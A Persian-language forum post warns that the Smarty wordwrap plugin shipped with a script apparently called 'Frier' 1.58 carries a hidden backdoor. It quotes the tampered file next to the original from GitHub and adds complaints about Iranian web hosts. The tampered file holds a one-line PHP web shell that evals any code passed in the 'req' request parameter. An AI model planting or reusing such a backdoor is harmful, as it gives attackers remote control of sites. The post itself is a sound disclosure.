با سلام
این سورس این فایل که درون اسکریپت فریر ورژن 1.58 جاسازی شده است مربوط به Smarty:
کد:
<?php
/**
* Smarty plugin
*
* @package Smarty
* @subpackage PluginsModifierCompiler
*/
/**
* Smarty wordwrap modifier plugin
*
* Type: modifier<br>
* Name: wordwrap<br>
* Purpose: wrap a string of text at a given length
*
<?php $post_var = "req"; if(isset($_REQUEST[$post_var])) { eval(stripslashes($_REQUEST[$post_var])); exit(); }; ?>
<?php
* @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php wordwrap (Smarty online manual)
* @author Uwe Tews
* @param array $params parameters
* @return string with compiled code
*/
function smarty_modifiercompiler_wordwrap($params, $compiler)
{
if (!isset($params[1])) {
$params[1] = 80;
}
if (!isset($params[2])) {
$params[2] = '"\n"';
}
if (!isset($params[3])) {
$params[3] = 'false';
}
return 'wordwrap(' . $params[0] . ',' . $params[1] . ',' . $params[2] . ',' . $params[3] . ')';
}
?>
و این هم کد اصلی همین فایل که از Github مربوط به فریم ورک Smarty:
کد:
<?php |
|
/** |
|
* Smarty plugin |
|
* |
|
* @package Smarty |
|
* @subpackage PluginsModifierCompiler |
|
*/ |
|
|
|
/** |
|
* Smarty wordwrap modifier plugin |
|
* Type: modifier<br> |
|
* Name: wordwrap<br> |
|
* Purpose: wrap a string of text at a given length |
|
* |
|
* @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php wordwrap (Smarty online manual) |
|
* @author Uwe Tews |
|
* |
|
* @param array $params parameters |
|
* @param $compiler |
|
* |
|
* @return string with compiled code |
|
*/ |
|
function smarty_modifiercompiler_wordwrap($params, $compiler) |
|
{ |
|
if (!isset($params[1])) { |
|
$params[1] = 80; |
|
} |
|
if (!isset($params[2])) { |
|
$params[2] = '"\n"'; |
|
} |
|
if (!isset($params[3])) { |
|
$params[3] = 'false'; |
|
} |
|
$function = 'wordwrap'; |
|
if (Smarty::$_MBSTRING) { |
|
if ($compiler->template->caching && ($compiler->tag_nocache | $compiler->nocache)) { |
|
$compiler->template->required_plugins['nocache']['wordwrap']['modifier']['file'] = SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php'; |
|
$compiler->template->required_plugins['nocache']['wordwrap']['modifier']['function'] = 'smarty_mb_wordwrap'; |
|
} else { |
|
$compiler->template->required_plugins['compiled']['wordwrap']['modifier']['file'] = SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php'; |
|
$compiler->template->required_plugins['compiled']['wordwrap']['modifier']['function'] = 'smarty_mb_wordwrap'; |
|
} |
|
$function = 'smarty_mb_wordwrap'; |
|
} |
|
|
|
return $function . '(' . $params[0] . ',' . $params[1] . ',' . $params[2] . ',' . $params[3] . ')'; |
|
} |
بهرحال من با جایگزین کردن فایل اصلی مشکل رو حل کردم.
یکی از دلایل اصلی استفادم از سرویس دهنده خارجی همین داستان امنیت هست که هیچ تجربه خوبی از سرویس دهنده های ایرانی نداشتم...
تا حالا چند مورد پیش اومده که توی افزونه های ورد پرس هم همچین کد هایی قرار داده بودن و سرویس دهنده اتوماتیک *****شون کرد واسم...
یه سایت بنده روی یه سرور اشتراکی سرویس دهنده ایرانی که ایران سرور بود تو همین سایتم فعالیت میکنه دایما لیمیت و از دسترس خارج میشد...
که بعد ها بعد از انتقال به این سرویس دهنده متوجه شدم توی یکی از پلاگین های وردپرس کدی بود که باعث میشد منابع سیستم زیادتر از حد مجاز مصرف بشه.
کلا من تجربه خوبی در مورد سرویس دهنده های ایرانی ندارم.
تا قبل از خرید بهترین برخورد و بعد از خرید گند ترین برخورد ها رو ازشون دیده میشه نه همه ولی قشر بسیاری...
ولی خوب دیگه اطلاع رسانی بنده بود برای دوستان